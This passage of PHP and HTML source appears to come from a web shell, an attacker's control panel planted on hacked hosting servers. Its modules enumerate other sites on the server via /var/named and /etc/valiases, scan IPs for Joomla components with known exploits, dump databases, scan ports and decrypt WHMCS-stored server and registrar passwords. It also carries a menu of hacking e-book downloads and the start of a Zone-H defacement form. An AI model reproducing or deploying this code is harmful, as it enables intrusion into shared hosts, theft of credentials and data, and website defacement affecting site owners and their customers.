	<strong>
	<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
    <font class="style2"><strong>/etc/passwd : </strong> </font>
	<strong>
	<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
	</strong>
	</span>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515"  colspan="5"><strong><input class =\'inputzbut\' type="submit" value="start">
    </strong>
    </td>
    <tr>
</form> 
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
    				</tr>
<form method="POST" target="_blank">
	<strong>
<input name="mendapatkan" type="hidden" value="passwd">        				
    </strong>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
    <td valign="top" bgcolor="#151515"><strong><input class =\'inputz\' size="35" name="foldername" type="text"></strong></td>
	</strong>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="GO">
    </strong>
    </td>
    <tr>
</form>   
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
    				</tr>
<form method="POST" target="_blank">
	<strong>
<input name="pass" type="hidden" value="password">        				
    </strong>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
    <td valign="top" bgcolor="#151515"><strong><input class =\'inputz\' size="35" name="url" type="text"></strong></td>
	</strong>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="GO">
    </strong>
    </td>
    <tr>
</form>
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info 
	Security</strong></td>
    				</tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
	<strong>
<?php
$safe_mode = ini_get(\'safe_mode\');
if($safe_mode==\'1\')
{
echo \'ON\';
}else{
echo \'OFF\';
}

?>	
	</strong>	
	</td>
    				</tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
	<strong>
<form method="POST" target="_blank">
	<strong>
<input name="matikan" type="hidden" value="sekatan">        				
    </strong>

<?php
if(\'\'==($func=@ini_get(\'disable_functions\')))
{
echo "<font color=#FF0000>No Security for Function</font></b>";
}else{
echo \'<script>alert("Please see below and press >Please Click Here First!<");</script>\';
echo "<font color=red>$func</font></b>";
echo \'<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>\';
echo \'<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
    </strong>
    </td></tr>\';
}
?></strong></td></tr></table></table></table>
<?
}
///////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'tutor\'))
    {
    ?>
	<form action="?y=<?php echo $pwd; ?>&x=tutor" method="post">
	<center><br><br><b>--=[ Tutorial & Ebook hacking ]=--</b><br>
		<form method="post" action="">
<table class="tabnet" border="1" >
<tr>
		<td align="center">English</td><td align="center">Indonesian</td>
	</tr>
	<tr>
		<td><form method="post" action="">&nbsp;
	E-book Hacking &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;
	<select class="inputzbut" name="pilih" id="pilih">
	<option value=""selected>-----------------[ Select ]-----------------</option>
	<option value="tutorial24" > Hacking Exposed-5 </option>
	<option value="tutorial25"> Internet Denial Of Service </option>
	<option value="tutorial26">Computer Viruses For Dummies</option>
	<option value="tutorial27">Hack Attacks Testing</option>
	<option value="tutorial28">Secrets Of A Super Hacker</option>
	<option value="tutorial29">Stealing The Network</option>
	<option value="tutorial30">Hacker\'s HandBook</option>
	</select>
	<input  type="submit" name="submit" class="inputzbut" value="Download">
	</td></form>
<td><form method="post" action="">&nbsp;
Tutorial &nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;
	<select class="inputzbut"  name="pilih" id="pilih">
	<option value=""selected>-----------------[ Select ]-----------------</option>
		<option value="tutorial2">Search Engine Hacking</option>
		<option value="tutorial3">SQL Injection dengan hackbar</option>
		<option value="tutorial1" >Bypass Union</option>
	</select>
	<input  type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
</tr>
<tr>
<td>
<form method="post" action="">&nbsp;
E-Book from Syn|gress &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;
	<select class="inputzbut"  name="pilih" id="pilih">
	<option value=""selected>-----------------[ Select ]-----------------</option>
	<option value="cryptography_for_defeloper">Cryptography for Developer</option>
	<option value="tutorial31">Mobile Malware Attack and Defense</option>
	<option value="forensic">CD and DVD Forensic</option>
	<option value="ddd">Open Sourch Security Tools</option>
	<option value="metasploit">Metaslpoit Toolkit</option>
	<option value="stealing_network">Stealing the Network</option>
	<option value="security_polices">Creating Security Polices</option>
	</select>
	<input  type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
<td>
<form method="post" action="">&nbsp;
X-CODE MAGAZINE &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;
	<select class="inputzbut" name="pilih" id="pilih">
	<option value=""selected>-----------------[ Select ]-----------------</option>
	<option value="tutorial4">X-CODE MAGAZINE 1</option>
	<option value="tutorial5">X-CODE MAGAZINE 2</option>
	<option value="tutorial6">X-CODE MAGAZINE 3</option>
	<option value="tutorial7">X-CODE MAGAZINE 4</option>
	<option value="tutorial8">X-CODE MAGAZINE 5</option>
	<option value="tutorial9">X-CODE MAGAZINE 6</option>
	<option value="tutorial10">X-CODE MAGAZINE 7</option>
	<option value="tutorial11">X-CODE MAGAZINE 8</option>
	<option value="tutorial12">X-CODE MAGAZINE 9</option>
	<option value="tutorial13">X-CODE MAGAZINE 10</option>
	<option value="tutorial14">X-CODE MAGAZINE 11</option>
	<option value="tutorial15">X-CODE MAGAZINE 12</option>
	<option value="tutorial16">X-CODE MAGAZINE 13</option>
	<option value="tutorial17">X-CODE MAGAZINE 14</option>
	<option value="tutorial18">X-CODE MAGAZINE 15</option>
	<option value="tutorial19">X-CODE MAGAZINE 16</option>
	<option value="tutorial20">X-CODE MAGAZINE 17</option>
	<option value="tutorial21">X-CODE MAGAZINE 18</option>
	<option value="tutorial22">X-CODE MAGAZINE 19</option>
	<option value="tutorial23">X-CODE MAGAZINE 20</option>
	<option value="tutorial024">X-CODE MAGAZINE 21</option>
	</select>
	<input type="submit" name="submit" class="inputzbut" value="Download" ></a>
</form></td></tr></table><br><br>
<?php
$submit = $_POST [\'submit\'];
if(isset($submit)) {
	$pilih = $_POST[\'pilih\'];
		if ( $pilih == \'tutorial1\') {
			?>
			<script>
				document.location = \'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial2\') {
			?>
			<script>
				document.location = \'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial3\') {
			?>
			<script>
				document.location = \'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial4\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode_magazine_1.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial5\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode_magazine_2.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial6\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode_magazine_3.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial7\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode_magazine_4.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial8\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode_magazine_5.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial9\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode_magazine_6.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial10\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode_magazine_7.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial11\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode_magazine_8.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial12\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode9.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial13\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode10.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial14\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/xcode11.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial15\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/Xcode12.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial16\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/Xcode13.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial17\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/files/Xcode14.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial18\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/Xcode15.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial19\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/xcode_magazine_16.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial20\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/xcode_magazine_17.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial21\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/xcode_magazine_18.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial22\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/xcode_magazine_19.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial23\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/xcode_magazine_20.zip\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial024\') {
			?>
			<script>
				document.location = \'http://xcode.or.id/xcode_magazine_21.zip\';
			</script>
			<?php
		}
		
		elseif ( $pilih == \'tutorial24\') {
			?>
			<script>
				document.location = \'http://www.insecure.in/ebooks/hacking_exposed_5.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial25\') {
			?>
			<script>
				document.location = \'http://www.insecure.in/ebooks/internet_denial_of_service.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial26\') {
			?>
			<script>
				document.location = \'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial27\') {
			?>
			<script>
				document.location = \'http://www.insecure.in/ebooks/hack_attacks_testing.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial28\') {
			?>
			<script>
				document.location = \'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial29\') {
			?>
			<script>
				document.location = \'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial30\') {
			?>
			<script>
				document.location = \'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar\';
			</script>
			<?php
		}
		elseif ( $pilih == \'ddd\') {
			?>
			<script>
				document.location = \'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf\';
			</script>
			<?php
		}
		elseif ( $pilih == \'tutorial31\') {
			?>
			<script>
				document.location = \'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf\';
			</script>
			<?php
		}
		elseif ( $pilih == \'cryptography_for_defeloper\') {
			?>
			<script>
				document.location = \'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf\';
			</script>
			<?php
		}
		elseif ( $pilih == \'forensic\') {
			?>
			<script>
				document.location = \'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf\';
			</script>
			<?php
		}
		elseif ( $pilih == \'metasploit\') {
			?>
			<script>
				document.location = \'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf\';
			</script>
			<?php
		}elseif ( $pilih == \'stealing_network\') {
			?>
			<script>
				document.location = \'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf\';
			</script>
			<?php
		}elseif ( $pilih == \'security_polices\') {
			?>
			<script>
				document.location = \'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf\';
			</script>
			<?php
		}
}

}
////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cms_detect\'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
	<br><br><br><br><center><b><font size=4>--=[ CMS Detector ]=--</font></b></center><br><br>
    <?php
if(!file_exists(\'pee.tmp\')){
@fopen(\'pee.tmp\', \'w\');

echo\'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">\';
echo\'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>\';

$p = 0;

if(is_readable("/var/named")){
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
foreach($list as $domain){
if(strpos($domain,".db"))
{
	$domain = str_replace(\'.db\',\'\',$domain);
	$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
	
error_reporting(0);

$link = $pageURL.\'pee/\'.$owner[\'name\'];

cms_add($link,$domain,$owner[\'name\'],"WordPress");
cms_add($link,$domain,$owner[\'name\'],"Joomla");
cms_add($link,$domain,$owner[\'name\'],"vBulletin");
cms_add($link,$domain,$owner[\'name\'],"WHMCS");
cms_add($link,$domain,$owner[\'name\'],"PhpBB");
cms_add($link,$domain,$owner[\'name\'],"MyBB");
cms_add($link,$domain,$owner[\'name\'],"IPB");
cms_add($link,$domain,$owner[\'name\'],"SMF");
cms_add($link,$domain,$owner[\'name\'],"Drupal");
cms_add($link,$domain,$owner[\'name\'],"e107");
cms_add($link,$domain,$owner[\'name\'],"Seditio");
cms_add($link,$domain,$owner[\'name\'],"osCommerce");

}
}
}
}else{
echo\'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">\';
echo\'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>\';
$content = file_get_contents($pageURL.\'pee.tmp\');
echo $content;
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jss\'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=jss" method="post">
    <?php
	echo \'

<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>
<form method="POST">
        <p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>
</form><center>

\';
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
 
function check_exploit($comxx){
 
$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
 
$result = @file_get_contents($link);
 
if (eregi("No results",$result))  {
 
echo"<td>Not Found</td><td><a href=\'http://www.google.com/#hl=en&q=download+$comxx+joomla+extension\'>Download</a></td></tr>";
 
}else{
 
echo"<td><a href=\'$link\'>Found</a></td><td><=</td></tr>";
 
}
}
 
function check_com($url){
 
$source = @file_get_contents($url);
 
preg_match_all(\'{option,(.*?)/}i\',$source,$f);
preg_match_all(\'{option=(.*?)(&amp;|&|")}i\',$source,$f2);
preg_match_all(\'{/components/(.*?)/}i\',$source,$f3);
 
$arz=array_merge($f2[1],$f[1],$f3[1]);
 
$coms=array();
 
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
 
foreach($coms as $comm){
 
echo "<tr><td>$comm</td>";
check_exploit($comm);
}
 
}
 
function sec($site){
preg_match_all(\'{http://(.*?)(/index.php)}siU\',$site, $sites);
if(eregi("www",$sites[0][0])){
return $site=str_replace("index.php","",$sites[0][0]);
}else{
return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
}}
 
$npages = 50000;
 
if ($_POST)
{
  $ip = trim(strip_tags($_POST[\'site\']));
  $npage = 1;
  $allLinks = array();
 
 
   while($npage <= $npages)
  {
 
  $x=@file_get_contents(\'http://www.bing.com/search?q=ip%3A\' . $ip . \'+index.php?option=com&first=\' . $npage);
 
 
        if ($x)
        {
                preg_match_all(\'(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU\', $x, $findlink);
              
                foreach ($findlink[1] as $fl)
              
                $allLinks[]=sec($fl);
              
              
                $npage = $npage + 10;
              
                if (preg_match(\'(first=\' . $npage . \'&amp)siU\', $x, $linksuiv) == 0)
                        break;                    
        }
      
    else
                break;
  }
 
 
$allDmns = array();
 
foreach ($allLinks as $kk => $vv){
 
$allDmns[] = $vv;
}
                      
echo\'<table border="1"  width=\"80%\" align=\"center\">
<tr><td width=\"30%\"><b>Server IP&nbsp;&nbsp;&nbsp;&nbsp; : </b></td><td><b>\'.$ip.\'</b></td></tr>                    
<tr><td width=\"30%\"><b>Sites Found&nbsp; : </b></td><td><b>\'.count(array_unique($allDmns)).\'</b></td></tr>
</table>\';
echo "<br><br>";
 
echo\'<table border="1" width="80%" align=\"center\">\';
 
foreach(array_unique($allDmns) as $h3h3){
 
echo\'<tr id=new><td><b><a href=\'.$h3h3.\'>\'.$h3h3.\'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>\';
 
check_com($h3h3);
 
}
 
echo"</table>";
 
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'dump\'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
    <?php
echo $head.\'<p align="center">\';
echo \'
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
	<td>Server </td>
	<td><input class="inputz" type=text name=server size=52></td></tr><tr>
	<td>Username</td>
	<td><input class="inputz" type=text name=username size=52></td></tr><tr>
	<td>Password</td>
	<td><input class="inputz" type=text name=password size=52></td></tr><tr>
	<td>DataBase Name</td>
	<td><input class="inputz" type=text name=dbname size=52></td></tr>
	<tr>
	<td>DB Type </td>
	<td><form method=post action="\'.$me.\'">
	<select class="inputz" name=method>
		<option  value="gzip">Gzip</option>
		<option value="sql">Sql</option>
		</select>
	<input class="inputzbut" type=submit value="  Dump!  " ></td></tr>
	</form></center></table>\';
if ($_POST[\'username\'] && $_POST[\'dbname\'] && $_POST[\'method\']){
$date = date("Y-m-d");
$dbserver = $_POST[\'server\'];
$dbuser = $_POST[\'username\'];
$dbpass = $_POST[\'password\'];
$dbname = $_POST[\'dbname\'];
$file = "Dump-$dbname-$date";
$method = $_POST[\'method\'];
if ($method==\'sql\'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST[\'method\']==\'ssql\'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
    $i = $i[\'Tables_in_\'.$dbname];
    $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
    write($create[\'Create Table\'].";

");
    $sql = mysql_query ("SELECT * FROM ".$i);
    if (mysql_num_rows($sql)) {
        while ($row = mysql_fetch_row($sql)) {
            foreach ($row as $j => $k) {
                $row[$j] = "\'".mysql_escape_string($k)."\'";
            }
            write("INSERT INTO $i VALUES(".implode(",", $row).");
");
        }
    }
}
if ($method==\'ssql\'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);   
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();

$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush();
} 
fclose($fp); 
}

}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'port-sc\'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
    <?php
    echo \'<br><br><center><br><b>--==[ Port Scanner ]==--</b><br>\';
    $start = strip_tags($_POST[\'start\']);
    $end = strip_tags($_POST[\'end\']);
    $host = strip_tags($_POST[\'host\']);
    if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){
    for($i = $start; $i<=$end; $i++){
    $fp = @fsockopen($host, $i, $errno, $errstr, 3);
    if($fp){
    echo \'Port \'.$i.\' is <font color=green>open</font><br>\';
    }
    flush();
    }
    }else{
    echo \'<table class=tabnet style="width:300px;padding:0 1px;">
   <input type="hidden" name="y" value="phptools">
   <tr><th colspan="5">Port Scanner</th></center></tr>
   <tr>
		<td>Host</td>
		<td><input type="text" class="inputz"  style="width:220px;color:#FF0000;" name="host" value="localhost"/></td>
   </tr>
   <tr>
		<td>Port start</td>
		<td><input type="text" class="inputz" style="width:220px;color:#FF0000;" name="start" value="0"/></td>
   </tr>
	<tr><td>Port end</td>
		<td><input type="text" class="inputz"  style="width:220px;color:#FF0000;" name="end" value="5000"/></td>
   </tr><td><input class="inputzbut" type="submit" style="color:#FF0000" value="Scan Ports" />
   </td></form></center></table>\';
    }
}
/////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'hash\'))
    {
$submit= $_POST[\'enter\'];
if (isset($submit)) {
$pass = $_POST[\'password\']; // password
$salt = \'}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN\'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo \'<form action="" method="post"><b><table class=tabnet>\';
echo \'<tr><th colspan="2">Password Hash</th></center></tr>\';
echo \'<tr><td><b>Enter the word you want to encrypt:</b></td>\';
echo \'<td><input class="inputz" type="text" name="password" size="40" />\';
echo \'<input class="inputzbut" type="submit" name="enter" value="hash" />\';
echo \'</td></tr><br>\';
echo \'<tr><th colspan="2">Hash Result</th></center></tr>\';
echo \'<tr><td>Original Password</td><td><input class=inputz type=text size=50 value=\'.$pass.\'></td></tr><br><br>\';
echo \'<tr><td>MD5</td><td><input class=inputz type=text size=50 value=\'.$hash.\'></td></tr><br><br>\';
echo \'<tr><td>MD4</td><td><input class=inputz type=text size=50 value=\'.$md4.\'></td></tr><br><br>\';
echo \'<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value=\'.$hash_md5.\'></td></tr><br><br>\';
echo \'<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value=\'.$hash_md5_double.\'></td></tr><br><br>\';
echo \'<tr><td>Sha1</td><td><input class=inputz type=text size=50 value=\'.$hash1.\'></td></tr><br><br>\';
echo \'<tr><td>Sha256</td><td><input class=inputz type=text size=50 value=\'.$sha256.\'></td></tr><br><br>\';
echo \'<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value=\'.$hash1_sha1.\'></td></tr><br><br>\';
echo \'<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value=\'.$hash1_sha1_double.\'></td></tr><br><br></table>\'; 
}

/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'whmcs\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=whmcs" method="post">

<?php

function decrypt ($string,$cc_encryption_hash)
{
    $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
    $hash_key = _hash ($key);
    $hash_length = strlen ($hash_key);
    $string = base64_decode ($string);
    $tmp_iv = substr ($string, 0, $hash_length);
    $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
    $iv = $out = \'\';
    $c = 0;
    while ($c < $hash_length)
    {
        $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
        ++$c;
    }
    $key = $iv;
    $c = 0;
    while ($c < strlen ($string))
    {
        if (($c != 0 AND $c % $hash_length == 0))
        {
            $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
        }
        $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
        ++$c;
    }
    return $out;
}

function _hash ($string)
{
    if (function_exists (\'sha1\'))
    {
        $hash = sha1 ($string);
    }
    else
    {
        $hash = md5 ($string);
    }
    $out = \'\';
    $c = 0;
    while ($c < strlen ($hash))
    {
        $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
        $c += 2;
    }
    return $out;
}

echo "
<br><center><font size=\'5\' color=\'#FF0000\'><b>--==[ WHMCS Decoder ]==--</b></font></center>
<center>
<br>

<FORM action=\'\'  method=\'post\'>
<input type=\'hidden\' name=\'form_action\' value=\'2\'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr> 
<tr><td>db_host </td><td><input type=\'text\' style=\'color:#FF0000;background-color:\' class=\'inputz\' size=\'38\' name=\'db_host\' value=\'localhost\'></td></tr>
<tr><td>db_username </td><td><input type=\'text\' style=\'color:#FF0000;background-color:\' class=\'inputz\' size=\'38\' name=\'db_username\' value=\'\'></td></tr>
<tr><td>db_password</td><td><input type=\'text\' style=\'color:#FF0000;background-color:\' class=\'inputz\' size=\'38\' name=\'db_password\' value=\'\'></td></tr>
<tr><td>db_name</td><td><input type=\'text\' style=\'color:#FF0000;background-color:\' class=\'inputz\' size=\'38\' name=\'db_name\' value=\'\'></td></tr>
<tr><td>cc_encryption_hash</td><td><input style=\'color:#FF0000;background-color:\' type=\'text\' class=\'inputz\' size=\'38\' name=\'cc_encryption_hash\' value=\'\'></td></tr>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class=\'inputzbut\' type=\'submit\' style=\'color:#FF0000;background-color:\'  value=\'Submit\' name=\'Submit\'></td>
</table>
</FORM>
</center>
";

 if($_POST[\'form_action\'] == 2 )
 {
 //include($file);
 $db_host=($_POST[\'db_host\']);
 $db_username=($_POST[\'db_username\']);
 $db_password=($_POST[\'db_password\']);
 $db_name=($_POST[\'db_name\']);
 $cc_encryption_hash=($_POST[\'cc_encryption_hash\']);



    $link=mysql_connect($db_host,$db_username,$db_password) ;
        mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v[\'ipaddress\'];
$username = $v[\'username\'];
$type = $v[\'type\'];
$active = $v[\'active\'];
$hostname = $v[\'hostname\'];
echo("<center><table border=\'1\'>");
$password = decrypt ($v[\'password\'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");

echo "</table><br><br></center>";
}

    $link=mysql_connect($db_host,$db_username,$db_password) ;
        mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border=\'1\'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar     = $v[\'registrar\'];
$setting = $v[\'setting\'];
$value = decrypt ($v[\'value\'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v[\'password\'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'zone\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=zone" method="post">

<br><br><center>
<!-- Zone-H -->
<form action="" method=\'POST\'><table><table class=\'tabnet\'><tr>
<td style=\'background-color:#0000;padding-left:10px;\'><tr><tr><th colspan="2"><h2>Zone-H</h2></th></tr></td></tr><tr><td height=\'45\' colspan=\'2\'><form method="post">
<input type="text" class="inputz" name="defacer" value="Nama Defacer" />
